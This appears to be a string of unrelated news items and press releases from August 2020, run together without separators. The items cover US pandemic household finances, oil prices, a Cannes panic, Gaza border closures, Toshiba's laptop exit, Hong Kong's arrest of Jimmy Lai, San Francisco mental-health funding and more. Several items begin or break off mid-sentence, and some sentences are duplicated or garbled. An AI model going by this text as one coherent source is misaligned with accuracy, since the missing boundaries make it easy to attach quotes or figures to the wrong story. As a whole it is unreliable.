Trump issues executive orders of dubious potency, many Americans are suffering from a quintuple whammy: unemployment, overdue rent, mounting bills, food insecurity and health fears. Where it stands: By some measures, we're doing quite well. People are paying off their credit cards at a surprising clip. Personal income grew in the second quarter of 2020 (thanks to hefty checks from the government). Investors are reveling in stellar market performance as the markets somewhat jarringly shrug off the dire economy. Total household debt fell in the second quarter of 2020 the first time household debt has decreased since 2014. But by more realistic and meaningful measures, people are in terrible shape. How it works: Personal finance experts say the good-news indicators mask the true face of America's predicament. A lot of people were getting by on the extra $600 in their unemployment checks and $1,200 one-time relief checks. Now that those have expired along with many eviction moratoriums we're likely to feel the full force of the recession that started in February (just before the coronavirus pandemic hit). What they're saying: "There are two Americas out there," Ed Mierzwinski, senior director of the federal consumer program at U.S. PIRG, tells Axios. "There are a lot of people who are just weathering the storm, hunkered down at home. And there are a lot of people who are getting paid less than they used to be paid, and they are painfully going through this pandemic economic crisis." Mierzwinski is part of a coalition of consumer advocates who are seeking to ban debt collection and negative credit reporting during the pandemic. He says he has seen "no empathy" from debt collectors (contrary to statements by the lending industry that they are being lenient). March, April, May and June saw a record number of complaints to the Consumer Financial Protection Bureau, per Mierzwinski. "There's going to be a cliff," he says. Families are suffering the most. "What we see with households with children is that they're more likely to experience a job loss by somebody in the household, and they're more likely to experience a decline in overall income," Wilbert van der Klaauw of the Federal Reserve Bank of New York, tells Axios. Families with kids are also "more likely to report relying on food donations and financial support from friends, families and other social networks," van der Klaauw says. These conditions could have severe consequences for the children in those households. There's "no indication that consumers expect the recession to end anytime soon," according to Richard Curtin, director of the University of Michigan Surveys of Consumers. "What people are believing now is they need more savings to hedge any future development in the pandemic," Curtin tells Axios which is far easier for upper-income people than for low-income people who have lost their jobs. "Unfortunately, those most at risk have the least ability to save, and those who are least at risk have the most ability to save and have saved." People of color are at the greatest risk, says Thea Garon of the Financial Health Network, a clearinghouse for information on how consumers are doing. The bottom line: Even if Washington does pony up more financial support for cash-strapped Americans, there's little hope for many people of long-term financial stability. BEIJING, Aug. 11, 2020 /PRNewswire/ -- A charter plane sent by Changshu municipal government brought back 80 Japanese employees on August 8 to resume work. Located in the hinterland of the Yangtze River Delta and as an important node where Yangtze River Economic Belt and the coastal economic development belt meet, Changshu of east China'sJiangsu Province is now home to more than 200 Japanese-funded companies, with a total investment of 6.9 billion U.S dollars. Changshu has been stepping up efforts to further boost its business environment and better serve foreign-funded enterprises. At present, Changshu sees total investment of more than 4 billion U.S. dollars by Japanese-funded enterprises in its high-tech zone with accumulated registered capital reaching 1.77 billion U.S. dollars. Knowing that Japanese employees in Changshu cannot return to work due to relevant epidemic prevention measures and expensive plane tickets, Changshu municipal government made extensive efforts to communicate with superior departments, and applied for the charter flight to take Japanese employees back. In a bid to reduce the risks of the epidemic spreading and protect the safety of passengers, Japanese employees underwent temperature checks three times before departure and needed to undergo a 14-day quarantine after landing in Changshu. The move not only builds an air channel to help enterprises resume work and production timely, but also reduces their financial burden thanks to cheaper tickets of charter flights. "In the process of epidemic prevention and control, I have seen the Chinese government's stringent control measures and advanced management level, and also felt the Changshu municipal government's strong support for market entities", said a Japanese employee with Sumitomo Rubber (China) Co., Ltd. In the first six months of 2020, Changshu's GDP inched up 0.7% year on year to 108.5 billion yuan amid signs of wider economic recovery from the coronavirus crisis, and its actual use of foreign capital amounted to 895 million U.S. dollars, a spike of 104.8% from that in the same period of last year. Besides, Changshu witnessed 161 new key projects signed in the first half of 2020 with a total investment of 55.28 billion yuan, as the city has ramped up support for project investment through cloud signing activities. Among the contracted projects, seven projects had received foreign investment of more than 100 million U.S. dollars each. Original link: https://en.imsilkroad.com/p/315408.html Photo - https://mma.prnewswire.com/media/1226040/Changshu.jpg Brent crude LCOc1 added 22 cents, or 0.5%, to $45.21 a barrel, as of 0441 GMT. Crude oil gained more ground on Tuesday, with prices underpinned by expectations of U.S. stimulus and a rebound in Asian demand as economies reopen. Brent crude LCOc1 added 22 cents, or 0.5%, to $45.21 a barrel, as of 0441 GMT. West Texas Intermediate U.S. crude CLc1 rose 32 cents, or 0.8%, to $42.26 a barrel, as reported by Reuters. Read alsoUkraine ups gas imports by 21% in Jan July operator Prices found support after U.S. President Donald Trump tweeted that top congressional Democrats wanted to meet with him on coronavirus-related economic relief. On Sunday, Saudi Arabian Aramco CEO Amin Nasser said he sees oil demand rebounding in Asia as economies gradually open up. Energy companies have begun taking back millions of barrels of oil from the U.S. government's emergency stockpile after renting storage in the facility to help manage a glut of crude this spring after energy demand collapsed during COVID-19 lockdowns, a Department of Energy website showed on Monday. False rumors of a shooting unleashes panic on the main promenade of the French Riviera town of Cannes. Dozens of people have been treated in hospital for minor injuries after false rumours of a shooting unleashed panic on the main promenade of the French Riviera town of Cannes, according to officials and rescuers. The emergency services counted 44 injured at 4am local time (02:00 GMT) on Tuesday, some brought to hospital by ambulance and others who made their own way there. All the injuries were minor, mainly to the lower leg, a rescuer said, as holiday-makers and diners ran into one another in a frenzied scramble to escape a threat that never existed. Almost 100 emergency service personnel were deployed to the Croisette promenade to deal with the aftermath of the mass panic that hit the glitzy resort town best known for hosting the Cannes Film Festival. Amateur videos of the crush posted online show people ducking under dining tables and running fearfully in all directions on the seafront promenade, lined with luxury boutiques, which annually rolls out the red carpet for the worlds movie stars. False rumours There were no gunshots in Cannes, Mayor David Lisnard said on Twitter, but rather an outbreak of collective panic after an individual shouted gunshot'. He added later that the panicked reaction says a lot about the level of tension in our society. The local authority of the Alpes-Maritime region that includes Cannes and Nice tweeted in the early hours there had been no shooting nor gunfire. It is a panic. DONT SPREAD FALSE RUMOURS!. France has been the target of several attacks since 2015, including a man ramming a truck into a crowd in Nice on the July 14 national holiday in 2016, killing 86 people. Israel closed its goods crossing with the Gaza Strip on Tuesday after militants in the Hamas-run territory fired rockets into the Mediterranean and launched waves of incendiary balloons into the Jewish state. The Kerem Shalom crossing will be closed until further notice to all traffic except humanitarian equipment and fuel, COGAT, the defence ministry unit that oversees the crossings, said in a statement prior to the closure. The move comes in response to "continued launching of incendiary balloons" from Gaza, it added. Defence Minister Benny Gantz said Tuesday morning in a statement, "In the south, Hamas is continuing to enable explosive balloon attacks to be launched into the State of Israel. We are not prepared to accept that and have closed the Kerem Shalom border crossing as a result." Israeli fire services in the south of the country reported 60 fires caused by balloons on Tuesday alone, without recording any casualties. "There will be a very heavy price for the balloon terrorism. We shall not tolerate it," Prime Minister Benjamin Netanyahu said during a visit to an air force base on Tuesday. Hamas denounced the Kerem Shalom closure as an "aggressive" move that testified to Israel's "insistence on laying siege" to Gaza, and said it could cause further worsening of the humanitarian situation in the coastal strip. The Palestinian territory has been under an Israeli blockade since 2007. - One closes, another opens - Explosives tied to balloons and kites first emerged as a weapon in Gaza during intense protests in 2018, when the makeshift devices drifted across the border daily, causing thousands of fires in Israeli farms and communities. Recent balloon attacks into Israel have triggered retaliatory strikes against Hamas positions. Hamas fired several rockets into the sea on Monday after repeated exchanges of fire with Israel in recent days, Palestinian security sources and eyewitnesses said. The rockets were a "message" to Israel to let it know that armed groups in Gaza will not "remain silent" in the face of an Israeli blockade and "aggression", a source close to Hamas told AFP. As the Kerem Shalom crossing closed, the Rafah crossing between Gaza and Egypt opened Tuesday for the first time since April, after it was closed a month earlier in a bid to prevent the spread of the novel coronavirus. Traffic in both directions was to be permitted for three days, allowing Gazans to leave the crowded, poverty-stricken strip for the first time since the start of the pandemic. According to the World Bank, around 53 percent of Gaza's population lived below the poverty line before the novel coronavirus crisis. That number could rise above 60 percent due to economic fallout from the pandemic, it has said. Hamas and Israel have fought three wars since 2008. Despite a truce last year, backed by the UN and Egypt , the two sides clash sporadically with rockets, mortar fire or incendiary balloons. Palestinian analysts say fire from Gaza often aims to pressure Israel to give the green light for the transfer of Qatari financial aid into the strip. *This story was edited by Ahram Online. Search Keywords: Short link: Monday, August 10, 2020 at 7:57PM Toshiba T1100 Toshiba quietly divests itself of its laptop business, selling its remaining 19.9% percent stake in its Dynabook laptop brand to Sharp. Back in 2018, the company sold 80.1% of its stake in the brand to Sharp. The move isn't surprising given how Toshiba hasn't been active in the industry in a while. It's still noteworthy, though, as it closes a 35-year chapter in Toshiba's history. The company was considered a pioneer in the portable computer space. The 1985 T1100 model was regarded as the first mainstream laptop computer. It set a design template for laptops that remained unchanged until Apple PowerBook laptops were introduced in 1991. that didn't change much until Apple's PowerBook line arrived in 1991. The company thrived in the 1990s and 2000s with its Satellite, Portege, and Qosmio lines. The company isn't entirely out of the computing space, though, as it is still active in the printing and storage markets and the energy and retail segments. Source: Engadget The New Patriotic Party (NPP) Director of Elections, Mr. Evans Nimako has said he is confident President Akufo-Addo will end former President John Mahamas aspirations of leading the country again as President after the 2020 polls. Addressing Ghanas voter registration process in an interview on Citi TVs The Point of View on Monday, Mr. Nimako opined that former President John Mahama never helped the country as President, hence the need for him to take some rest. He also accused the opposition National Democratic Congress of initially scheming to sabotage the whole voter registration exercise. At this stage, Nana Akufo-Addo will retire Mr. Mahama for good. He needs to take some rest, he never helped. The NDCs position has been that they didnt want a cleaned-up register for the 2020 presidential and parliamentary elections. Mr. Evans Nimako was, however, full of praise for the Electoral Commission led by Jean Mensa. According to him, the EC, together with NPP polling agents, needed to be commended for good work done during the voter registration exercise. Thankfully, we have gotten it, I think this whole voter registration process has been very successful. I will use this opportunity to commend the EC for a good work done, he added. ---Daily Guide HoduSoft has implemented billing feature with this software. This feature offers simpler, easier prepaid and postpaid billing services for the tenants. HoduPBX is one of the robust multi-tenant IP PBX software. It is capable of handling 1000+ concurrent calls and supports 10,000+ extensions on a single server. With the increasing demand and recommendations, HoduSoft has implemented billing feature with this software. Moreover, this multi-tenant IP PBX software presents a dual-channel payment gateway for you and your clients convenience. Best used by Internet Service Providers (ISPs), Internet Telephony Service Providers (ITSPs and Telcos for offering Hosted PBX services on their servers. Biggest of all, HoduPBX multi tenant version comes in the service providers brand. In short, along with the key features of an IP PBX software like Audio Conferencing, Least Cost Routing, Auto Provisioning, BLF & Presence and Real-Time Analytics & Reports, it also provides functioning of billing. Whether the clients want to generate prepaid or postpaid bills, the software offers a seamless process for the same. Also, with the integration of payment gateways, clients can perform online transactions safely and securely. Plus, the payment gateway offers to pay via Credit Cards, Debit Cards, PayPal, Stripe, and CCAvenue. HoduSofts billing and payment gateway integration make financial operations a hassle-free experience for the service providers and its tenants. Customers can easily receive bills from within the software, view it, and make payment directly through the integrated payment gateways. HoduSoft's IP PBX software enables seamless billing and record fetching via 3rd party via API as well. The variety of choices in the payment gateway selection offers simple, quick, easy payment procedures to the customers. In addition, the billing module sends an invoice automatically to the Tenants. The Admin can monitor the thorough billing process for error-free means. Whether a customer requires a change in a billing plan or there is a need to generate multiple reports, this software can efficiently work. HoduPBX is a complete set of IP PBX Software solutions that makes business communication a hassle-free process. Comprehensively, the billing functionality of this software is capable of handling multiple payment cycle configurations, multiple currency labelling, automatic invoice generation, and many more. More specifically, the prepaid module can handle real-time billing, create alerts, and automatically send notifications. Also, it will be simpler to manage thousands of prepaid customers across the world. On the other hand, a post paid module is a pay as you go model. This module also offers custom configuration facilities such as outgoing suspension, service suspension, inactivation and termination with relevant alerts configuration. Briefly, prepaid and postpaid billing management is a seamless experience through HoduPBX. Apart from the multi-tenant IP PBX software, HoduSoft also offers other business communication with its distinct products. From Audio Conferencing to Contact Center Solutions, the firm has delivered custom business communication solutions for all types of businesses. HoduSoft aims to present a simpler, smarter way for business communication so that companies can connect with end-users effectively and efficiently. About the Company: Since 2015 Hodusoft Pvt. Ltd. is offering business VoIP solutions across the globe. The company is well-known for being cost-effective and being the best solution provider that in turn makes your business successful. HoduSoft holds more than 50+ partners worldwide that represent several products of HoduSoft that incorporate HoduPBX, HoduCC, HoduConf & HoduBS. With hands-on experience on various communication projects, the organization promptly understands customer requirements and designs and delivers efficient, and user-friendly products. HoduSoft believes in designing and developing VoIP products that present top-class performance and stability to its 200+ customers globally. Contact Details: Phone: +1 707-708-4638, +91 8866728362 Email: sales@hodusoft.com Website: https://hodusoft.com/ip-pbx-software/ Its entirely possible that the 52-year-old Felipe will see off this latest threat to his reign. The constitution has only been changed twice in its history, and abolishing the monarchy would require a super-majority in two successive parliaments and then a referendum. Socialist Prime Minister Pedro Sanchez said it was appropriate for Juan Carlos to leave the country and that Spain needs solid institutions. And while his coalition partner and Spains most famous left-wing firebrand, Pablo Iglesias of Podemos, has argued in favor of a republic, he has in the past acknowledged that large sectors of Spain feel sympathy toward Felipe. The Bombay high court (HC) on Tuesday struck down the order issued by the Brihanmumbai Municipal Corporation (BMC) authorities temporarily suspending the licence of a private hospital at Mahim for purportedly overcharging coronavirus disease (Covid-19) patients. Kiran Dighavkar, assistant commissioner, G-North ward, BMC, had issued the order on July 30, suspending the licence of Family Care Hospital, which is run by Scandent Imaging Limited, for a month, on the ground that the private hospital had overcharged Covid-19 patients. The two-member HC division bench, comprising Justices SJ Kathawalla and Madhav Jamdar, struck down the order after it found out that under the Bombay Nursing Homes Registration Act, 1949, the assistant commissioner of BMC was not empowered to suspend the licence of a nursing home. The bench heard the petition filed by Scandent Imaging Limited and felt that the order was, perhaps, a knee-jerk reaction to a purported video that had gone viral on July 30, claiming that a Covid-19 patient died, allegedly because of gross negligence by the hospital authorities. However, the patient had tested Covid-19 negative, as the result, which was made available two days after his death, showed. The bench noted gaping holes in the order and the procedure followed by the BMC officials. The court said the Act requires a 30-day notice should be given to a nursing home to suspend its licence, but in this case, only two days were given to the private hospital on June 8, citing overcharging. The order mentioned the viral video, but the BMC officials did not bother to authenticate the claims, the bench said. The court said the order neither made mention of the private hospital authorities response to the June 8 notice nor did it take its rebuttal into consideration. Earlier, the bench had asked Iqbal Singh Chahal, commissioner, BMC, to appear before it through video conferencing, after it had found out that the civic officials concerned and the lawyer were unable to satisfactorily respond to its queries. We have a very serious grievance against your (BMC) officers, the bench told Chahal, when he appeared before HC on Tuesday and pointed out the lacunaes found in its July 30 order. How can you function like this? the judges asked the BMC commissioner. The corporation cannot be allowed to function like this. The order will be struck down, they added. However, the bench has granted liberty to the civic officials to issue a fresh show-cause notice to the hospital authorities and to pass a fresh order in accordance with the law. During the course of the hearing, advocate Yashodeep Deshmukh sought to intervene in the matter on behalf of the brother-in-law of the deceased patient. He pointed out that the non-Covid-19 patient was carelessly mixed up by the private hospital authorities with Covid-19 patients. Deshmukh stated that on July 29 --- two days after the patients death his Covid-19 test report proved to be negative. The judges took a compassionate view of the deceased familys ordeal, but still held the BMC to account for its keen-jerk reaction. They directed the civic body officials to ascertain the allegations hurled against any hospital authority before they take any legal measures and punitive action. The police also requested invitees to follow COVID-19 guidelines issued by the MHA and the Health Ministry at all times during the celebration at the Red Fort New Delhi: The Delhi Police on Tuesday advised invitees for the Independence Day function at the Red Fort to refrain from attending it if they experienced any COVID-19 symptom within two weeks before the event and haven't got tested. The police also requested the invitees to follow COVID-related guidelines issued by the Home Ministry and the Health Ministry at all times during the Independence Day celebration at the Red Fort. "In the event of any invitee experiencing/having a history of any symptoms of COVID-19 within two weeks (running up to) of the Independence Day, which is yet untested or confirmed positive for the disease, the invitee may consider refraining to attend the event," the police said in a statement. They said controlling officers and ushers will be on duty to assist invitees for seating inside the designated enclosures. They said that on conclusion of the function, the invitees should avoid crowding at the exit, and wait for the controlling officers to guide them. According to a senior police officer, there will be around 4,000 security personnel at the Red Fort on the occasion and they will stand maintaining social distance. No cameras, binoculars, remote-controlled car keys, umbrella, handbags, briefcases, transistors, cigarette lighters, tiffin boxes, water bottles, lunch boxes etc. will be permitted, they said. The full-dress rehearsal for the Independence Day will take place at the Red Fort on Thursday. Defence personnel from the Army, Navy and the Air Force will march across the Mughal-era structure. Earlier the police had said a multi-layer security ring, including NSG snipers, elite SWAT commandos and kite catchers, will be placed around the Red Fort, from where Prime Minister Narendra Modi will address the nation on the 74th Independence Day. Over 350 Delhi Police personnel, who will be part of the guard of honour at Red Fort on Independence Day, have been quarantined as a precautionary measure, they had said. These personnel of the force of all ranks from a constable to Deputy Commissioner of Police have been quarantined at a newly built police colony in Delhi Cantonment. Flying of sub-conventional aerial platforms like para-gliders, para-motors, hang gliders, UAVs, micro light aircraft, remotely piloted aircraft, hot air balloons, small size powered aircraft, quadcopters or para-jumping from aircraft etc. are prohibited over the jurisdiction of National Capital Territory of Delhi up to 15 August, police had said. The guest list is likely to be pruned and children wearing clothes resembling the Tricolour will be missing this year. However, there will be no change in the security arrangements and they will be as stringent as they are every year. The police personnel involved in frisking would also don personal protection equipment (PPE) kits, the police had said. The Independence Day event witnesses attendance of ministers, senior political leaders, top officials of different ministries and diplomats. Even the general public is allowed to attend. This time, however, there was also a proposal to not allow the general public at the event and instead have 1,500 corona warriors, including 500 police personnel who have recovered from the infection, attend it. The event at the Red Fort shall consist of a guard of honour by the armed forces and the Delhi Police to the prime minister, unfurling of the National Flag and firing of the 21-gun salute, address by the prime minister, singing of the National Anthem immediately after the speech and release of tricoloured balloons at the end. . TDT | Manama Bahrain Airport Company (BAC), the operator and managing body of Bahrain International Airport, held a farewell ceremony for two employees who are retiring after years of service. Nader Redha from Development and Technical and Khalil Yacoob from Airport Operations were honoured in the event. BAC CEO Mohamed Yousif Al Binfalah and other senior company officials attended the ceremony, in whichand in line with government regulationsall attendees wore facemasks and followed social distancing measures. Our employees are the backbone of our organisation and they continue to play a key role in our growth and success, Al Binfalah said. A committed workforce is vital to the success of any organisation and in our case, it has been a key success factor to BACs role in the Airport Modernisation Programme. Everyone who has worked on this important national project can take pride in being part of aviation history in Bahrain and contributing to a more connected future for the Kingdom. Toronto is almost two weeks into Stage 3, and an ongoing low trend in daily COVID-19 numbers seems to have held steady. Across Ontario, new reports of the novel coronavirus have slowed, meaning the embattled Windsor-Essex region can finally join the rest of the province in Stage 3. The province might be experiencing a basement in cases, one epidemiologist said, meaning that while we might not drive cases any lower than this, we can likely expect an uptick in the fall. The Star asked two infectious disease experts Anna Banerji from the Dalla Lana School of Public Health and Raywat Deonandan of the University of Ottawa to weigh in on the data the Star has collected on the state of the COVID-19 crisis in Ontario. Heres what they had to say about what the trends tells us. Their comments have been edited for brevity and clarity. Ontario-wide trends Deonandan: It looks like this wave is pretty much over in Ontario. But thats a dangerous thing to say, because it assumes that all is said and done it isnt. This is probably something resembling a basement of cases. We could drive it lower, but I doubt that we will. We should brace ourselves for the inevitable climb in the fall. However, its entirely possible that all of our public health endeavours like mask wearing and compelled distancing will manifest as positive change. Some people are saying you should expect a bigger second wave I actually dont think so. I think well have those under control if people behave themselves, and I expect them to. Torontos trends Banerji: Whatever were doing, were doing it correctly. If there was going to be a big rise from Toronto opening up, we would have seen it by now. And that we havent seen a massive rise is really reassuring. I think a lot of it is because people are co-operating, wearing masks and continuing to physically distance. That said, its reassuring but that doesnt mean things cant change. What were doing right now is good and appropriate. We should continue to do it, because if we let our guard down the virus could start surging upwards, as it has in other communities. Deonandan: It looks like Toronto has not experienced the expected bump in cases. And I suspect it might have something to do with mask wearing. And, it might have something to do with the fact that we did deploy those appropriate public health measures like compelled distancing. The fact that we arent seeing any strong increase is, I think, people for the most part being responsible. And we cant measure the effect of these things yet, at least not accurately, but I do think that theres something to be said for the effect of masks. Windsor-Essexs downward slope Banerji: One of the reasons cases might be dropping off here is that many ill migrant workers that were infected are now in isolation. A lot of what was driving the cases in Windsor-Essex was people commuting across the border for work. But recently, people crossing the border are taking more preventative measures such as wearing masks. Seven-day averages across the province Banerji: There is day-to-day variability in these numbers, even though these are seven-day averages. The virus has moved through institutions and long-term-care facilities, and its not surprising that its here and starting to spread out through other regions. The GTA might have followed behind the rest of Ontario because behaviour around masks is different here. Deonandan: Its certainly interesting that the rest of the province trended higher. Thats probably due to the fact the rest of the province has a lot more heterogeneity youve got Ottawa on the one hand, which has had some issues, and youve got North Bay on the other hand that didnt have any issues, so you average them out, meaning the rest of the province was more problematic. And, the GTA opened up later, in both Stage 2 and Stage 3, so theyve had less of a chance of having a bad experience. Correction - Aug. 11, 2020: This article was edited from a previous version that mistakenly said Toronto is more than two weeks into Stage 3 of Ontarios reopening plan. In fact, Toronto entered Stage 3 at 12:01 a.m. on July 31. With files from Ed Tubb In spite of the budget woes brought on by the shattering economic effects of the coronavirus pandemic, San Francisco is moving ahead with substantial investments meant to repair the citys fragmented mental health care system. One of them will give the city its first street-crisis response teams, which will deal with psychiatric emergencies. Over the next two years, Mayor London Breeds proposed budget envisions spending nearly $76 million to begin implementing Mental Health SF, a sweeping vision of reform authored by Supervisors Hillary Ronen and Matt Haney. In addition to funding dozens of new beds for drug sobering, psychiatric skilled-nursing settings and board-and-care facilities, the budget includes money to begin hiring case managers for people with mental illness or substance abuse disorders, and for setting up a new, centralized office meant to ensure patients progress seamlessly through the citys network of services. In the midst of a pandemic, with a massive budget deficit, to be implementing this reform to our system is extraordinary and exciting, Ronen said. This will lead to a different situation on the streets when its up and running. Perhaps the most visible element set to arise from the budget are new street-crisis response teams specialized crews tasked with responding to mental health emergencies. Currently, thats a responsibility that falls largely to the police department. While the city does have several dedicated teams focused on addressing street homelessness and behavioral-health incidents, the street-crisis units would be the first to be solely dedicated to responding to 911 dispatches for mental health emergencies. By doing so, city officials are making a deliberate choice to shift such service calls away from police officers who, even despite added training, usually lack the expertise, experience and equipment needed to treat someone in the grips of a mental health crisis. Doing so was a key pillar of Breeds blueprint for changing the day-to-day operations of law enforcement following nationwide calls for police reform. With the street crisis teams and other investments, Were taking the first step toward redirecting nonviolent calls from police to other resources and are expanding behavioral health services in San Francisco, Breed said in a statement. Despite the time, energy and money spent on confronting the pandemic, The other challenges on our streets with mental illness and substance use disorder havent gone away, and we must remain focused on addressing that ongoing public health crisis as well, Breed said. Breeds proposed budget calls for investing nearly $17 million over two years to fund four, three-person teams, each made up of a specialized paramedic, a behavioral health clinician and a behavioral health peer a person working with the citys health department with first-hand experiencing dealing with mental-health crises. Noah Berger/Special to The Chronicle Having trained specialists on the street-crisis teams is also meant to lessen the burdens on the citys emergency room and psychiatric emergency services, since individuals in a crisis may be better suited for other types of care. Right now, we have a one-way express to an emergency room that starts with a police officers initial engagement, said Simon Pang, section chief of the San Francisco Fire Departments EMS-6 division, which handles calls dealing with the citys highest-frequency users of emergency services, many of whom are homeless. That one-way express, Pang said, turns into a revolving door. An emergency room is a great place if youre sick, but most people (treated by the crisis teams) have substance abuse and mental health problems and social needs. Police officers would still be called in for support in confrontations that could turn violent, Pang said. Currently, city officials are sorting through emergency call codes to decide what sorts of incidents the street-crisis teams will be responsible for. Pang said police responded to over 50,000 calls last year for incidents including people in distress wandering into city streets, to well-being checks to suicide attempts, some of which may fall into the street crisis teams wheelhouse, Pang said. We recognize that right now in San Francisco there is an over-involvement of law enforcement in responding to people with substance abuse and mental health crisis on the street, said Dr. Anton Nigusse Bland, the citys director of mental health reform. This is the first response where trained medical professionals are going out before police arrive at the scene, if its necessary for police to be involved at all. The Mental Health SF investments are largely dependent on city voters passing a business-tax reform initiative in November. In addition to recasting the citys business tax structure, the measure would also unlock hundreds of millions of dollars in tax revenues that have gone unspent because of ongoing legal disputes. Drought Map Track water shortages and restrictions across Bay Area Check the water shortage status of your area, plus see reservoir levels and a list of restrictions for the Bay Areas largest water districts. Breeds budget is now in the hands of the Board of Supervisors, which will hold hearings and make adjustments before sending it back for Breeds signature before Oct. 1. Ronen said she intends to push for additional funding for Mental Health SF, which will likely necessitate cuts elsewhere in the budget. Shes seeking nearly $12 million over two years to add a fifth three-person unit to the street-crisis response team and to expand the hours at the citys Behavioral Health Access Center so it can stay open around the clock. Breeds budget currently sets aside money for the facility to stay open longer, but Ronen said, in order to be effective, it needs to be open 24-7. For Mental Health SF to work in a way where people see change on the street, then you have to have a service center open 24 hours a day and a crisis outreach team functioning 24 hours a day, Ronen said. Without round-the-clock access to mental health clinicians, people who need treatment will invariably get sent to the already overwhelmed city emergency rooms, she said. Ronen has also asked Breed to allocate the $12 million for those purposes should the city receive additional federal stimulus money. My inclination is four (street-crisis teams) is not enough. Its possible five is not enough, said Supervisor Rafael Mandelman, a member of the boards Budget and Finance Committee. The number of teams is a pretty important thing for us to push on. Im with Supervisor Ronen on that, he said. We want the status quo to change. And the status quo is one where every single day, most of us see one or two individuals out there who need a mental health intervention seemingly not getting it, Mandelman said. We cant wait until COVID-19 is behind us to address these issues. Dominic Fracassa is a San Francisco Chronicle staff writer. Email: dfracassa@sfchronicle.com Twitter: @dominicfracassa Hong Kong media tycoon Jimmy Lai on Dec. 11, 2014. His mansion and the Next Media building were firebombed on Jan. 12, 2015, and Hong Kong people are concerned the attacks were connected to the Chinese regime. (Yu Kong/Epoch Times) US Deeply Troubled by Arrest of HK Media Tycoon Jimmy Lai: OBrien Congress's China Commission called on US allies to respond with their own sanctions The United States is deeply troubled by the arrest of Hong Kong media tycoon Jimmy Lai, White House National Security Adviser Robert OBrien said in a statement on Aug. 10. Hong Kong police arrested Lai, a strident critic of the Chinese communist regime, on Monday, along with two of his sons, Lai Gin-yan and Chow Tat-kuen, and several executives from his media company, Next Digital. Lai, 71, was arrested under the Chinese regimes new national security law on allegations of collusion with foreign forces or external elements. Later that day, more than 200 police officers raided the newsroom of Lais newspaper Apple Dailythe largest pro-democracy outlet in the city. OBrien said Monday that Lai and his colleagues had defended the fundamental rights and liberties that Beijing guaranteed to the people of Hong Kong but that it now systematically attacks. Several other media and pro-democracy figures were also arrested Monday, including prominent activist Agnes Chow. Police later said 10 peoplenine men and one womanwere arrested, without naming them. The arrests were, OBrien said, a clear effort to intimidate pro-democracy and political opposition figures and suppress Hong Kongs free and independent media, which have played key roles in the citys character and success. Hong Kong authorities have cracked down on pro-democracy elements in the city since the national security law came into effect last month. The law punishes any actions Beijing considers subversion, secession, terrorism, and collusion with foreign forces with up to life in prison. Prior to the laws implementation, Beijing and the Hong Kong government said that the new law would only be used against a small minority of criminals, and would not impinge on the citys freedoms. Since July, popular protest slogans have been outlawed and pro-democracy candidates were disqualified from running in legislative elections. Later, the government said the election would be postponed for a year, citing the pandemic as the reason for the delay. Before Monday, 15 people, including teenagers, had been arrested under the new law. OBrien said in his statement that Beijings national security law denies the people of Hong Kong their fundamental rights and liberties, and increases the Chinese regimes control over Hong Kongs internal affairs. These reported arrests, following the recent action by the Hong Kong government to unjustly disqualify candidates and postpone the Legislative Council elections, are the latest violations of Beijings commitments to the Hong Kong people and the world, he said. The Chinese Communist Party (CCP) has applauded Lais arrest. A spokesman for Chinas Hong Kong and Macau Affairs Office told Chinas state-run media Xinhua that Lai was representative of people who were anti-China, anti-Hong Kong, and that he planned and instigated illegal protests, funded pro-independence forces, and used his media group to spread rumors. The Chinese regime has pushed the narrative that the mass protest movement ignited last year only because it was fomented by foreign countries to incite chaos. Im deeply troubled by reports of the arrest of @JimmyLaiApple under Hong Kongs draconian National Security Law. Further proof that the CCP has eviscerated Hong Kongs freedoms and eroded the rights of its people. Secretary Pompeo (@SecPompeo) August 10, 2020 Secretary of State Mike Pompeo echoed OBriens comments by saying he was deeply troubled by reports of Lais arrest under Hong Kongs draconian National Security Law. Further proof that the CCP has eviscerated Hong Kongs freedoms and eroded the rights of its people, Pompeo said in a Twitter post on Monday. Last week, the United States imposed sanctions on Hong Kong leader Carrie Lam and 10 other Chinese and Hong Kong officials over their roles in subverting the citys freedoms through implementing the new law. Beijing retaliated on Monday by sanctioning 11 U.S. citizens, including federal lawmakers and heads of U.S.-based nonprofits and rights groups. The Congressional-Executive Commission on China called on U.S. allies and partners to respond to the arrests with their own sanctions and condemnations, calling the raid and arrests serious violations of human rights. It urged the United Nations to take action. Related Coverage US Pushing Back Against Chinese Influence at UN, Pompeo Says Apple Daily meanwhile pushed ahead with publication of Tuesdays paper with a promise to Hong Kong to fight on in a front-page headline above an image of Lai in handcuffs. The paper said on its website that more than 500,000 copies of the pro-democracy tabloid were printed Tuesday, up from the usual 100,000. We stand with Jimmy Lai and his sons and colleagues, and call on Beijing to repeal the national security law and restore Hong Kongs rule of law immediately, OBrien said. Cathy He and Reuters contributed to this report. A report from the Chinese authorities claiming Stormonts leaders said they respected new security laws in Hong Kong has been amended to remove the controversial statement. The comments were initially attributed to First Minister Arlene Foster and deputy First Minister Michelle ONeill during a teleconference with Chinese consul general in Belfast Madame Zhang Meifang last month. A translated version of a report which appeared on the consulates website claimed the ministers stated that the Northern Ireland executive understands and respects Hong Kongs national security legislation. My position on Hong Kong is the same as that of HMG. The article in todays press misrepresents what was said at our meeting with the Chinese Consul General. I will be writing to Madame Zhang to underscore my disappointment. Arlene Foster #ProudofNI. (@ArleneFosterUK) August 11, 2020 Mrs Foster and Ms ONeill moved to distance themselves from the comments after a newspaper report on the website account on Tuesday. The leaders faced calls to publish their own minutes from the virtual meeting. Later on Tuesday afternoon, the report on the website was changed, with the reference to Mrs Foster and Ms ONeills comments on the Hong Kong situation having been removed. The new laws, imposed by Beijing at the end of June, have given the authorities more powers to clamp down on and punish pro-democracy protesters. They have been met with widespread international criticism amid claims the powers undermine free speech and curtail Hong Kongs autonomy under the long-established one country, two systems. The story about the Stormont meeting with Madame Zhang, which was reported by the Irish News on Tuesday morning, had prompted calls for clarity. Expand Close Image from the Chinese Consulate in Belfast showing Madame Zhang Meifang in a teleconference with deputy First Minister Michelle ONeill (PA/Chinese Consulate) PA / Facebook Twitter Email Whatsapp Image from the Chinese Consulate in Belfast showing Madame Zhang Meifang in a teleconference with deputy First Minister Michelle ONeill (PA/Chinese Consulate) Amnesty International was among those urging the executive to make public its own account of the meeting. Mrs Foster said she would be writing to Madame Zhang to voice disappointment. She said her position on Hong Kong was no different to the UK Governments. Prime Minister Boris Johnson has condemned the new laws as a violation of Chinas treaty with the UK when Hong Kong was handed over in 1997. The DUP leader tweeted: My position on Hong Kong is the same as that of HMG. The article in todays press misrepresents what was said at our meeting with the Chinese consul general. I will be writing to Madame Zhang to underscore my disappointment. I made it 